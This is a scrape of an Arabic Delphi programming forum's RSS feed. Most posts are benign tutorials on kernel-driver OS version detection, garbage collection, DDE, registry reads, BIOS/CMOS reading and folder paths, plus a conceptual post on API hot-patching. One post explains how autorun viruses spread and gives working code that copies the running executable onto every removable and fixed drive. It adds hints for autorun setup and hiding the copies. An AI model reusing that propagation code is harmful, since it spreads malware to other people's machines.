implementation
    
procedure DriverUnload(DriverObject:PDriverObject); stdcall;
begin
 DbgPrint('Unload Routine Called !!!');
end;

Function _DriverEntry(DriverObject:PDriverObject;RegistryPath:PUnicodeString):NTSTATUS; stdcall;
Var
 _Rtk:RTL_OSVERSIONINFOEXW;
 _Os:ANSI_STRING;
begin
 DriverObject^.DriverUnload:=@DriverUnload;
 Result:= STATUS_SUCCESS;
 DbgPrint('DriverEntry Routine Called With Code Error : 0x%.8X',Result);
 //RtlZeroMemory(@_Rtk,SizeOf(_Rtk));
 _Rtk.dwOSVersionInfoSize:= SizeOf(RTL_OSVERSIONINFOEXW);
 If RtlGetVersion(PRTL_OSVERSIONINFOW(@_Rtk)) = STATUS_SUCCESS Then
  Begin
   If (_Rtk.dwMajorVersion = 5) And (_Rtk.dwMinorVersion = 1) Then
    RtlInitAnsiString(@_Os,'Microsoft Windows XP');
   If (_Rtk.dwMajorVersion = 5) And (_Rtk.dwMinorVersion = 2) Then
    RtlInitAnsiString(@_Os,'Microsoft Windows Server 2003');
   If (_Rtk.dwMajorVersion = 6) And (_Rtk.dwMinorVersion = 0) Then
    RtlInitAnsiString(@_Os,'Microsoft Windows Vista');
   If (_Rtk.dwMajorVersion = 6) And (_Rtk.dwMinorVersion = 1) Then
    RtlInitAnsiString(@_Os,'Microsoft Windows 7');
  DbgPrint('Your OS Version is %Z < %ld.%ld.%ld > Service Pack %d.%d '
   ,@_Os,_Rtk.dwMajorVersion,_Rtk.dwMinorVersion,_Rtk.dwBuildNumber
   ,_Rtk.wServicePackMajor,_Rtk.wServicePackMinor);
  End;
end;
end. 
- إعادة تعريف للـ RtlGetVersion : الملفات المصدرية غير مرفقة مع Meerkat

كود :
Type _OSVERSIONINFOW = Record dwOSVersionInfoSize :ULONG; dwMajorVersion :ULONG ; dwMinorVersion :ULONG ; dwBuildNumber :ULONG ; dwPlatformId :ULONG ; szCSDVersion :Array [0..127] Of WCHAR; End; RTL_OSVERSIONINFOW = _OSVERSIONINFOW; PRTL_OSVERSIONINFOW = ^RTL_OSVERSIONINFOW; Function RtlGetVersion(lpVersionInformation :PRTL_OSVERSIONINFOW ) :NTSTATUS;StdCall; implementation Function RtlGetVersion; external NtKernel name '_RtlGetVersion';
القيم الممكنة هنا :

PHP كود :
NT 3.1  - 528
NT 3.5  - 807
NT 3.51 -1057
NT 4    - 1381
NT 5.2 Windows Server 2003 3790
NT 5.2 Windows XP (x64)    3790 
NT 6.1 Windows 7
   
2195 - Windows 2000
2600 - Windows XP
3790 - Windows 2003
4052 - Windows Longhorn aka Vista PDC
5xxx - Windows Vista 
[صورة: sdfsd.gif]

بالتوفيق,,

.rar   GetOSinfo.rar (الحجم : 8.29 ك ب / التحميلات : 82) ]]> - تحديد نسخة النظام المستخدم من الكيرنل , RtlGetVersion & NtBuilder
PHP كود :
{*******************************************************}
{       Open source sample.                             }
{       Free to use.                                    }
{       Coded By TF6M | 22-11-2010 Www.Delphi4Arab.Com  }
{*******************************************************}
Unit GetOSinfo;
{$WARNINGS OFF}{$HINTS OFF}
{$OPTIMIZATION ON}{$OverFlowChecks Off}
interface

Uses nt_status, ntoskrnl;

function _DriverEntry(DriverObject:PDriverObject;
                      RegistryPath:PUnicodeString
                      ):NTSTATUS; stdcall;

implementation
    
procedure DriverUnload(DriverObject:PDriverObject); stdcall;
begin
 DbgPrint('Unload Routine Called !!!');
end;

Function _DriverEntry(DriverObject:PDriverObject;RegistryPath:PUnicodeString):NTSTATUS; stdcall;
Var
 _Rtk:RTL_OSVERSIONINFOEXW;
 _Os:ANSI_STRING;
begin
 DriverObject^.DriverUnload:=@DriverUnload;
 Result:= STATUS_SUCCESS;
 DbgPrint('DriverEntry Routine Called With Code Error : 0x%.8X',Result);
 //RtlZeroMemory(@_Rtk,SizeOf(_Rtk));
 _Rtk.dwOSVersionInfoSize:= SizeOf(RTL_OSVERSIONINFOEXW);
 If RtlGetVersion(PRTL_OSVERSIONINFOW(@_Rtk)) = STATUS_SUCCESS Then
  Begin
   If (_Rtk.dwMajorVersion = 5) And (_Rtk.dwMinorVersion = 1) Then
    RtlInitAnsiString(@_Os,'Microsoft Windows XP');
   If (_Rtk.dwMajorVersion = 5) And (_Rtk.dwMinorVersion = 2) Then
    RtlInitAnsiString(@_Os,'Microsoft Windows Server 2003');
   If (_Rtk.dwMajorVersion = 6) And (_Rtk.dwMinorVersion = 0) Then
    RtlInitAnsiString(@_Os,'Microsoft Windows Vista');
   If (_Rtk.dwMajorVersion = 6) And (_Rtk.dwMinorVersion = 1) Then
    RtlInitAnsiString(@_Os,'Microsoft Windows 7');
  DbgPrint('Your OS Version is %Z < %ld.%ld.%ld > Service Pack %d.%d '
   ,@_Os,_Rtk.dwMajorVersion,_Rtk.dwMinorVersion,_Rtk.dwBuildNumber
   ,_Rtk.wServicePackMajor,_Rtk.wServicePackMinor);
  End;
end;
end. 
- إعادة تعريف للـ RtlGetVersion : الملفات المصدرية غير مرفقة مع Meerkat

كود :
Type _OSVERSIONINFOW = Record dwOSVersionInfoSize :ULONG; dwMajorVersion :ULONG ; dwMinorVersion :ULONG ; dwBuildNumber :ULONG ; dwPlatformId :ULONG ; szCSDVersion :Array [0..127] Of WCHAR; End; RTL_OSVERSIONINFOW = _OSVERSIONINFOW; PRTL_OSVERSIONINFOW = ^RTL_OSVERSIONINFOW; Function RtlGetVersion(lpVersionInformation :PRTL_OSVERSIONINFOW ) :NTSTATUS;StdCall; implementation Function RtlGetVersion; external NtKernel name '_RtlGetVersion';
القيم الممكنة هنا :

PHP كود :
NT 3.1  - 528
NT 3.5  - 807
NT 3.51 -1057
NT 4    - 1381
NT 5.2 Windows Server 2003 3790
NT 5.2 Windows XP (x64)    3790 
NT 6.1 Windows 7
   
2195 - Windows 2000
2600 - Windows XP
3790 - Windows 2003
4052 - Windows Longhorn aka Vista PDC
5xxx - Windows Vista 
[صورة: sdfsd.gif]

بالتوفيق,,

.rar   GetOSinfo.rar (الحجم : 8.29 ك ب / التحميلات : 82) ]]> <![CDATA[Delphi's Garbage Collector]]> https://delphi4arab.net/forum/showthread.php?tid=2582 Sat, 20 Nov 2010 13:22:29 +0100 kachwahed]]> https://delphi4arab.net/forum/showthread.php?tid=2582 السلام عليكم ورحمة الله
"دلفي لا يملك Garbage Collector" عبارة نسمعها أحيانا كثيرة...
ممن ينتقد دلفي وممن يثني عليه أحيانا!
لماذا؟
لأن من ينتقد دلفي يدعي أن ذلك نقطة ضعف فيه، لأن GC (اختصارا) يسهل البرمجة بتقليص الأسطر، وإراحة المبرمج من تحرير يدوي للمكونات وغير ذلك...
ومن يمدح دلفي بذلك يدعي أن ذلك يقيد من حركة المبرمج وتحريره لأغراضه يدويا يجعله يتحكم في الكود أكثر...
بغض النظر عما إذا كان ذلك بعاطفة من محبي دلفي أو بغيرها، أو هل هناك حاجة لـ GC أم لا...
السؤال: هل يمكن برمجة Garbage Collector؟

...أولا ماذا تقصد بـ Garbage Collector؟

باختصار... جامع القمامة (Garbage Collector) هو كائن يقوم بتسيير الذاكرة بحيث يقوم عند إنهاء البرنامج بتحرير المساحات المحجوزة -لإنشاء الأغراض- بشكل تلقائي.
بعبارة أخرى لست بحاجة إلى تحرير الأنماط التي تقوم بإنشائها:
PHP كود :
//try
 MyObject := TObject.Create;
//finally
//  MyObject.Free;
//end; 
وبالتالي تتخلص من احتمال حصول أي استنزاف مفرط في الذاكرة!
طالع: من Wikipedia Garbage Collector
الجواب:
- طبعا، يمكن برمجة ذلك، كما يمكن برمجة أي شيء بدلفي Smile
هناك محاولات جيدة قام البعض بها:
كود :
http://edn.embarcadero.com/article/28217
السورس مرفق في مثال (دلفي 2006 فما فوق)، أيضا:
API for Boehm Garbage Collector DLL: مكتبة DLL أصلها مكتوبة بـ C ومثال لاستخدام بدلفي
كود :
http://cc.embarcadero.com/item/21646
بالتوفيق.

.rar   Garbage.Collector.BoehmDLL.rar (الحجم : 45.29 ك ب / التحميلات : 73)

.rar   Delphi'sGC.rar (الحجم : 4.07 ك ب / التحميلات : 68) ]]> السلام عليكم ورحمة الله
"دلفي لا يملك Garbage Collector" عبارة نسمعها أحيانا كثيرة...
ممن ينتقد دلفي وممن يثني عليه أحيانا!
لماذا؟
لأن من ينتقد دلفي يدعي أن ذلك نقطة ضعف فيه، لأن GC (اختصارا) يسهل البرمجة بتقليص الأسطر، وإراحة المبرمج من تحرير يدوي للمكونات وغير ذلك...
ومن يمدح دلفي بذلك يدعي أن ذلك يقيد من حركة المبرمج وتحريره لأغراضه يدويا يجعله يتحكم في الكود أكثر...
بغض النظر عما إذا كان ذلك بعاطفة من محبي دلفي أو بغيرها، أو هل هناك حاجة لـ GC أم لا...
السؤال: هل يمكن برمجة Garbage Collector؟

...أولا ماذا تقصد بـ Garbage Collector؟

باختصار... جامع القمامة (Garbage Collector) هو كائن يقوم بتسيير الذاكرة بحيث يقوم عند إنهاء البرنامج بتحرير المساحات المحجوزة -لإنشاء الأغراض- بشكل تلقائي.
بعبارة أخرى لست بحاجة إلى تحرير الأنماط التي تقوم بإنشائها:
PHP كود :
//try
 MyObject := TObject.Create;
//finally
//  MyObject.Free;
//end; 
وبالتالي تتخلص من احتمال حصول أي استنزاف مفرط في الذاكرة!
طالع: من Wikipedia Garbage Collector
الجواب:
- طبعا، يمكن برمجة ذلك، كما يمكن برمجة أي شيء بدلفي Smile
هناك محاولات جيدة قام البعض بها:
كود :
http://edn.embarcadero.com/article/28217
السورس مرفق في مثال (دلفي 2006 فما فوق)، أيضا:
API for Boehm Garbage Collector DLL: مكتبة DLL أصلها مكتوبة بـ C ومثال لاستخدام بدلفي
كود :
http://cc.embarcadero.com/item/21646
بالتوفيق.

.rar   Garbage.Collector.BoehmDLL.rar (الحجم : 45.29 ك ب / التحميلات : 73)

.rar   Delphi'sGC.rar (الحجم : 4.07 ك ب / التحميلات : 68) ]]> <![CDATA[[Api Hooking [HOT PATCHING , تطبيق بسيط !]]> https://delphi4arab.net/forum/showthread.php?tid=2290 Wed, 11 Aug 2010 02:46:36 +0100 TF6M]]> https://delphi4arab.net/forum/showthread.php?tid=2290 بسم الله الرحمن الرحيم
السلام عليكم و رحمة الله و بركاته

1- مقدمة :
يمكن تصنيف عمليات الـ Hooking الى قسمين رئيسين :
[صورة: apih01.jpg]
مبدأ عملية الـ Hooking : تحويل مسار الإستدعاء الأصلي الى عنوان دالتنا الخاصة , التي تحمل
نفس بارامترات الدالة المستهدفة (إستبدال) , أو مجرد مجموعه تعليمات (Codes) .

[صورة: apih02.jpg]
هناك 3 تقنيات (عامة) , لعمل HooK لــ Api :
Hot Patching ,Inline hooking , IAT patching.

- كما يمكن عمل حقن لمكتبة الربط الديناميك (Inject DLL) , لتغير & مراقبة مسار الإستدعاء SysCalls _
كـ External Thread يمكن التحكم به !.

2- ما هو الـ Hot Patching ؟ :

- مبدأ العملية تحويل القفزة التي تؤدي الى تنفيذ الدالة & الإجراء المستهدف , نحو عنوان آخر
ليتم تنفيذ أوامر مستبدلة تنتهي بقفزة للرجوع لمكان سير البرنامج الأصلي .

- نأخذ على سبيل المثال الدالة MessageBoxA (برنامج منقح بـ OllyDbg) :

[صورة: aone.jpg]

- نستغل 5 bytes , في كتابة تعليمات أو برامترات لإستدعاء إجراء & دالة ما !
هكذا قمنا بتحويل مسار الإستدعاء الأصلي .

- إذا يمكننا التغير مباشرة من المنقح (تعديل) , أو بإستعمال الدالة VirtualProtect , التي تتيح لنا الكتابة في ذاكرة برنامجنا
(inline hooking), وذلك بتغير صلاحية الولوج لبلوك معين من برنامجنا المحمل للداكرة (VirtualProtectEx من أي
بروسس محمل ....) , لنقوم بالتعديل !

3- مثال تطبيقي hot Patching لـدالة MessageBoxA بإستخدام VirtualProtect : (في المرفقات)
- الكود واضح & يحتوي على تعليقات من a حتى z .

[صورة: 524i.jpg]

بالتوفيق,,




.rar   Hot Patching Use VirtualProtect Function.rar (الحجم : 2.84 ك ب / التحميلات : 357) ]]> بسم الله الرحمن الرحيم
السلام عليكم و رحمة الله و بركاته

1- مقدمة :
يمكن تصنيف عمليات الـ Hooking الى قسمين رئيسين :
[صورة: apih01.jpg]
مبدأ عملية الـ Hooking : تحويل مسار الإستدعاء الأصلي الى عنوان دالتنا الخاصة , التي تحمل
نفس بارامترات الدالة المستهدفة (إستبدال) , أو مجرد مجموعه تعليمات (Codes) .

[صورة: apih02.jpg]
هناك 3 تقنيات (عامة) , لعمل HooK لــ Api :
Hot Patching ,Inline hooking , IAT patching.

- كما يمكن عمل حقن لمكتبة الربط الديناميك (Inject DLL) , لتغير & مراقبة مسار الإستدعاء SysCalls _
كـ External Thread يمكن التحكم به !.

2- ما هو الـ Hot Patching ؟ :

- مبدأ العملية تحويل القفزة التي تؤدي الى تنفيذ الدالة & الإجراء المستهدف , نحو عنوان آخر
ليتم تنفيذ أوامر مستبدلة تنتهي بقفزة للرجوع لمكان سير البرنامج الأصلي .

- نأخذ على سبيل المثال الدالة MessageBoxA (برنامج منقح بـ OllyDbg) :

[صورة: aone.jpg]

- نستغل 5 bytes , في كتابة تعليمات أو برامترات لإستدعاء إجراء & دالة ما !
هكذا قمنا بتحويل مسار الإستدعاء الأصلي .

- إذا يمكننا التغير مباشرة من المنقح (تعديل) , أو بإستعمال الدالة VirtualProtect , التي تتيح لنا الكتابة في ذاكرة برنامجنا
(inline hooking), وذلك بتغير صلاحية الولوج لبلوك معين من برنامجنا المحمل للداكرة (VirtualProtectEx من أي
بروسس محمل ....) , لنقوم بالتعديل !

3- مثال تطبيقي hot Patching لـدالة MessageBoxA بإستخدام VirtualProtect : (في المرفقات)
- الكود واضح & يحتوي على تعليقات من a حتى z .

[صورة: 524i.jpg]

بالتوفيق,,




.rar   Hot Patching Use VirtualProtect Function.rar (الحجم : 2.84 ك ب / التحميلات : 357) ]]> <![CDATA[Dynamic Data Exchange بين التطبيقات في دلفي (عرض فلاش)]]> https://delphi4arab.net/forum/showthread.php?tid=2240 Thu, 29 Jul 2010 19:24:56 +0100 kachwahed]]> https://delphi4arab.net/forum/showthread.php?tid=2240 السلام عليكم ورحمة الله

DDE اختصار Dynamic Data Exchange بديل آخر عن COM و Automation وتقنية للحوار بين تطبيقات الخادم (Server Application) وفق المنهج عميل/خادم

معظم البرامج الشهيرة التي نستخدمها يوميا (المتصفحات، البرامج المكتبية...) تتوفر على خدمات DDE تسمح بالاتصال معها إرسالا واستقبالا للبيانات: IE، MsOffice، Explorer...

يوفر دلفي مجموعة من المكونات (المنسية!) للتعامل مع DDE موجودة في التبويب System
كود :
TDdeClientConv;TDdeClientItem;TDdeServerItem

نأخذ مثالين لتوضيح الفكرة
1- المثال الأول: مثال بسيط للاستعلام عن الصفحة المفتوحة في IE
- ضع مكون DdeClientConv1 (العميل) على النموذج...
- افتح المتصفح IE على أي صفحة (ضروري لتشغيل الخدمة)
- الآن اضبط الخصائص:
-- DDeService على IExplore (اسم الخادم)
-- وDdeTopic على WWW_GetWindowInfo (الموضوع الذي تود الاستعلام عنه)
-- وServiceApplication على IExplore.exe (اسم التطبيق -اختياري-)
-- اترك الخيار ConnectMode على ddeAutomatic ...
- ضع زرا واكتب عند الضغط عليه:
PHP كود :
Caption := DdeClientConv1.RequestData('0xFFFFFFFF') 
نفذ التطبيق ولاحظ عنوان النموذج

يمكن استخدام مكون TDdeClientItem وربطه مع TDdeClientConv من DdeConv ثم نستقبل العائدات من TDdeClientItem بمثل هذا:
PHP كود :
Caption :=  DdeClientItem1.DdeConv.RequestData('0xFFFFFFFF'); 

إذا لم ينجح معك ذلك أعد القيام به بشكل ديناميكي مستخدما التابع SetLink هكذا:
PHP كود :
with DdeClientConv1 do
  begin
    SetLink('IExplore','WWW_GetWindowInfo');
    Caption:= RequestData('0xFFFFFFFF');
  end; 

2-المثال الثاني فتح متصفح Windows للبحث عن الملفات في مسار معين:
- ضع نفس المكون واضبط الخادم هذه المرة:
-- DDeService على Folders (خادم لمتصفح Windows)
-- وDdeTopic على AppProperties
-- وServiceApplication على explorer.exe
- هذه المرة نقوم بتنفيذ Macro مباشرة بهذا الشكل:
PHP كود :
DdeClientConv1.ExecuteMacro('[FindFolder(, c:\windows\system32)]', False); 
للبحث عن الملفات في المسار: c:\windows\system32

هذا مثال بسيط لتوضيح فكرة DDE ولك أن تبحث كيفية الاتصال بالبرامج الأخرى Smile

ملاحظة:
تنصح Microsoft باستخدام Automation بدلا عن DDE إن أمكن للاتصال بالبرامج Word, Excel ... لما تقدمة من دعم أفضل وخدمات إضافية.
-----

تم إعداد مثال مرفق السورس.
وعرض فلاش لطريقة إعداد تطبيقين بدلفي وربطها بتقنية DDE. الرابط:
http://www.mediafire.com/?vgqr84elldqsrej

بالتوفيق.

.rar   DDEServerClientConversation_src.rar (الحجم : 2.23 ك ب / التحميلات : 105) ]]> السلام عليكم ورحمة الله

DDE اختصار Dynamic Data Exchange بديل آخر عن COM و Automation وتقنية للحوار بين تطبيقات الخادم (Server Application) وفق المنهج عميل/خادم

معظم البرامج الشهيرة التي نستخدمها يوميا (المتصفحات، البرامج المكتبية...) تتوفر على خدمات DDE تسمح بالاتصال معها إرسالا واستقبالا للبيانات: IE، MsOffice، Explorer...

يوفر دلفي مجموعة من المكونات (المنسية!) للتعامل مع DDE موجودة في التبويب System
كود :
TDdeClientConv;TDdeClientItem;TDdeServerItem

نأخذ مثالين لتوضيح الفكرة
1- المثال الأول: مثال بسيط للاستعلام عن الصفحة المفتوحة في IE
- ضع مكون DdeClientConv1 (العميل) على النموذج...
- افتح المتصفح IE على أي صفحة (ضروري لتشغيل الخدمة)
- الآن اضبط الخصائص:
-- DDeService على IExplore (اسم الخادم)
-- وDdeTopic على WWW_GetWindowInfo (الموضوع الذي تود الاستعلام عنه)
-- وServiceApplication على IExplore.exe (اسم التطبيق -اختياري-)
-- اترك الخيار ConnectMode على ddeAutomatic ...
- ضع زرا واكتب عند الضغط عليه:
PHP كود :
Caption := DdeClientConv1.RequestData('0xFFFFFFFF') 
نفذ التطبيق ولاحظ عنوان النموذج

يمكن استخدام مكون TDdeClientItem وربطه مع TDdeClientConv من DdeConv ثم نستقبل العائدات من TDdeClientItem بمثل هذا:
PHP كود :
Caption :=  DdeClientItem1.DdeConv.RequestData('0xFFFFFFFF'); 

إذا لم ينجح معك ذلك أعد القيام به بشكل ديناميكي مستخدما التابع SetLink هكذا:
PHP كود :
with DdeClientConv1 do
  begin
    SetLink('IExplore','WWW_GetWindowInfo');
    Caption:= RequestData('0xFFFFFFFF');
  end; 

2-المثال الثاني فتح متصفح Windows للبحث عن الملفات في مسار معين:
- ضع نفس المكون واضبط الخادم هذه المرة:
-- DDeService على Folders (خادم لمتصفح Windows)
-- وDdeTopic على AppProperties
-- وServiceApplication على explorer.exe
- هذه المرة نقوم بتنفيذ Macro مباشرة بهذا الشكل:
PHP كود :
DdeClientConv1.ExecuteMacro('[FindFolder(, c:\windows\system32)]', False); 
للبحث عن الملفات في المسار: c:\windows\system32

هذا مثال بسيط لتوضيح فكرة DDE ولك أن تبحث كيفية الاتصال بالبرامج الأخرى Smile

ملاحظة:
تنصح Microsoft باستخدام Automation بدلا عن DDE إن أمكن للاتصال بالبرامج Word, Excel ... لما تقدمة من دعم أفضل وخدمات إضافية.
-----

تم إعداد مثال مرفق السورس.
وعرض فلاش لطريقة إعداد تطبيقين بدلفي وربطها بتقنية DDE. الرابط:
http://www.mediafire.com/?vgqr84elldqsrej

بالتوفيق.

.rar   DDEServerClientConversation_src.rar (الحجم : 2.23 ك ب / التحميلات : 105) ]]> <![CDATA[معرفة اصدار النطام Os version]]> https://delphi4arab.net/forum/showthread.php?tid=2075 Fri, 04 Jun 2010 07:45:27 +0100 php3man]]> https://delphi4arab.net/forum/showthread.php?tid=2075

السلام عليكم ورحمه الله وبركاته

طريقه بسيطه من خلال ملفات الريجيستري أستخراج Os version

تشتغل علي أكس بي وفيستا وويندوز سفن

في قائمه uses نضمن Registry

ثم في نضيف Button و Edit

نكتب بال Button


PHP كود :
procedure TForm1.Button1Click(Sender: TObject);
Var delphi4arab : TRegistry;
begin
delphi4arab := TRegistry.Create;
delphi4arab.RootKey := HKEY_LOCAL_MACHINE;
Try
delphi4arab.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion',True) ;
edit1.Text := delphi4arab.ReadString('ProductName') ;
except
end;
end; 
]]>

السلام عليكم ورحمه الله وبركاته

طريقه بسيطه من خلال ملفات الريجيستري أستخراج Os version

تشتغل علي أكس بي وفيستا وويندوز سفن

في قائمه uses نضمن Registry

ثم في نضيف Button و Edit

نكتب بال Button


PHP كود :
procedure TForm1.Button1Click(Sender: TObject);
Var delphi4arab : TRegistry;
begin
delphi4arab := TRegistry.Create;
delphi4arab.RootKey := HKEY_LOCAL_MACHINE;
Try
delphi4arab.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion',True) ;
edit1.Text := delphi4arab.ReadString('ProductName') ;
except
end;
end; 
]]> <![CDATA[كيف تصيب فيروسات autorun الديسك والفلاش ميموري]]> https://delphi4arab.net/forum/showthread.php?tid=2051 Sat, 29 May 2010 15:13:51 +0100 php3man]]> https://delphi4arab.net/forum/showthread.php?tid=2051 بسم الله الرحمن الرحيم

السلام عليكم ورحمه الله وبركاته


فيروسات autorun كيف تصيب الديسك والفلاش ميموري

PHP كود :
function infect(drive : string):string;
var app : string;
begin
app := application.ExeName;
copyfile(Pchar(app),Pchar(drive + ':\'+application.Title+'.exe'),true);
end; 

داله بسيطه لنسخ الملف الي drive
عرفنا متغير app علي أساس انه string

في السطر الاول
PHP كود :
app := application.ExeName; 

مسار الملف التنفيذي
داله copyfile
لنسخ الملف التنفيذي الي المسارات اللي نحددها بالاجراء الاتي

PHP كود :
procedure flash;
var flash : Char;
begin
For flash := 'A' TO 'Z' Do
case GetDriveType(Pchar(Flash + ':\')) of
2:
infect(flash);
3:
infect(flash);
end;
end; 

اجراء بسيط بالداله
GetDriveType
لمعرفه نوع الديسك اذا كان فلاش ميموري يكون رقم 2
يكون دريف عادي fixed يكون رقم تلاته وعرفناها case

اوستدعينا الداله infect للاجراء flash

نضع زر نكتب فيه
flash;
النتيجه ينسخ الملف الي جميع الدريفات حتي الميميوري

يمكن تطوره شوي من داله
WritePrivateProfileString

تضع ملف autorun تشغيل تلقائي

يمكن تطوره اكتر وباضافة داله
SetFileAttributes

لتخفي الملفات الناتجه
]]> بسم الله الرحمن الرحيم

السلام عليكم ورحمه الله وبركاته


فيروسات autorun كيف تصيب الديسك والفلاش ميموري

PHP كود :
function infect(drive : string):string;
var app : string;
begin
app := application.ExeName;
copyfile(Pchar(app),Pchar(drive + ':\'+application.Title+'.exe'),true);
end; 

داله بسيطه لنسخ الملف الي drive
عرفنا متغير app علي أساس انه string

في السطر الاول
PHP كود :
app := application.ExeName; 

مسار الملف التنفيذي
داله copyfile
لنسخ الملف التنفيذي الي المسارات اللي نحددها بالاجراء الاتي

PHP كود :
procedure flash;
var flash : Char;
begin
For flash := 'A' TO 'Z' Do
case GetDriveType(Pchar(Flash + ':\')) of
2:
infect(flash);
3:
infect(flash);
end;
end; 

اجراء بسيط بالداله
GetDriveType
لمعرفه نوع الديسك اذا كان فلاش ميموري يكون رقم 2
يكون دريف عادي fixed يكون رقم تلاته وعرفناها case

اوستدعينا الداله infect للاجراء flash

نضع زر نكتب فيه
flash;
النتيجه ينسخ الملف الي جميع الدريفات حتي الميميوري

يمكن تطوره شوي من داله
WritePrivateProfileString

تضع ملف autorun تشغيل تلقائي

يمكن تطوره اكتر وباضافة داله
SetFileAttributes

لتخفي الملفات الناتجه
]]> <![CDATA[قراءة محتوى الـ bios في ملف نصي!]]> https://delphi4arab.net/forum/showthread.php?tid=1989 Sat, 08 May 2010 17:42:25 +0100 TF6M]]> https://delphi4arab.net/forum/showthread.php?tid=1989
Basic InPut/OutPut System , أولا نظرة عامة حول الـ Bios

1- جدول مقاطعات الـ BIOS : [URL="http://www.ctyme.com/intr/int.htm"]هنا
[/URL]2- جدول معلومات الـ BIOS (معلومات عن الهارد وار المثبت في الجهاز) :
- أكتب Debug ->d 40:00

[صورة: 87654.gif]

3- لمحة عن الـ Debug : في المرفقات .
4- لقراءة محتوى الـ BIOS , نحتاج لعنوان الكتابة / القراءة الخاص به ($70/71$)
- المثال بالدلفي , بستخدام مكتبة inpout32.dll

PHP كود :
Var
 I,Temp:Byte;
 F:File Of Byte;
begin
AssignFile(F,'C:\Bios.txt');
ReWrite(F);
 For I := 0 To $FF do
 Begin
 Out32($70,i);
 Temp:=inp32($71);
 BlockWrite(F,Temp,1);
 End;
CloseFile(F);
end; 

بالتوفيق ,,

.rar   debug.rar (الحجم : 35.77 ك ب / التحميلات : 681) ]]>
Basic InPut/OutPut System , أولا نظرة عامة حول الـ Bios

1- جدول مقاطعات الـ BIOS : [URL="http://www.ctyme.com/intr/int.htm"]هنا
[/URL]2- جدول معلومات الـ BIOS (معلومات عن الهارد وار المثبت في الجهاز) :
- أكتب Debug ->d 40:00

[صورة: 87654.gif]

3- لمحة عن الـ Debug : في المرفقات .
4- لقراءة محتوى الـ BIOS , نحتاج لعنوان الكتابة / القراءة الخاص به ($70/71$)
- المثال بالدلفي , بستخدام مكتبة inpout32.dll

PHP كود :
Var
 I,Temp:Byte;
 F:File Of Byte;
begin
AssignFile(F,'C:\Bios.txt');
ReWrite(F);
 For I := 0 To $FF do
 Begin
 Out32($70,i);
 Temp:=inp32($71);
 BlockWrite(F,Temp,1);
 End;
CloseFile(F);
end; 

بالتوفيق ,,

.rar   debug.rar (الحجم : 35.77 ك ب / التحميلات : 681) ]]> <![CDATA[المسارات في دلفي]]> https://delphi4arab.net/forum/showthread.php?tid=1950 Fri, 23 Apr 2010 09:19:14 +0100 mobile]]> https://delphi4arab.net/forum/showthread.php?tid=1950
كود :
uses SHFolder; function GetSpecialFolderPath(folder : integer) : string; const SHGFP_TYPE_CURRENT = 0; var path: array [0..MAX_PATH] of char; begin if SUCCEEDED(SHGetFolderPath(0,folder,0,SHGFP_TYPE_CURRENT,@path[0])) then Result := path else Result := ''; end; //RadioGroup1 OnClick procedure TForm1.RadioGroup1Click(Sender: TObject) ; var index : integer; specialFolder : integer; begin if RadioGroup1.ItemIndex = -1 then Exit; index := RadioGroup1.ItemIndex; case index of //[Current User]\My Documents 0: specialFolder := CSIDL_PERSONAL; //All Users\Application Data 1: specialFolder := CSIDL_COMMON_APPDATA; //[User Specific]\Application Data 2: specialFolder := CSIDL_LOCAL_APPDATA; //Program Files 3: specialFolder := CSIDL_PROGRAM_FILES; //All Users\Documents 4: specialFolder := CSIDL_COMMON_DOCUMENTS; end; Label1.Caption := GetSpecialFolderPath(specialFolder) ; end;
]]>
كود :
uses SHFolder; function GetSpecialFolderPath(folder : integer) : string; const SHGFP_TYPE_CURRENT = 0; var path: array [0..MAX_PATH] of char; begin if SUCCEEDED(SHGetFolderPath(0,folder,0,SHGFP_TYPE_CURRENT,@path[0])) then Result := path else Result := ''; end; //RadioGroup1 OnClick procedure TForm1.RadioGroup1Click(Sender: TObject) ; var index : integer; specialFolder : integer; begin if RadioGroup1.ItemIndex = -1 then Exit; index := RadioGroup1.ItemIndex; case index of //[Current User]\My Documents 0: specialFolder := CSIDL_PERSONAL; //All Users\Application Data 1: specialFolder := CSIDL_COMMON_APPDATA; //[User Specific]\Application Data 2: specialFolder := CSIDL_LOCAL_APPDATA; //Program Files 3: specialFolder := CSIDL_PROGRAM_FILES; //All Users\Documents 4: specialFolder := CSIDL_COMMON_DOCUMENTS; end; Label1.Caption := GetSpecialFolderPath(specialFolder) ; end;
]]>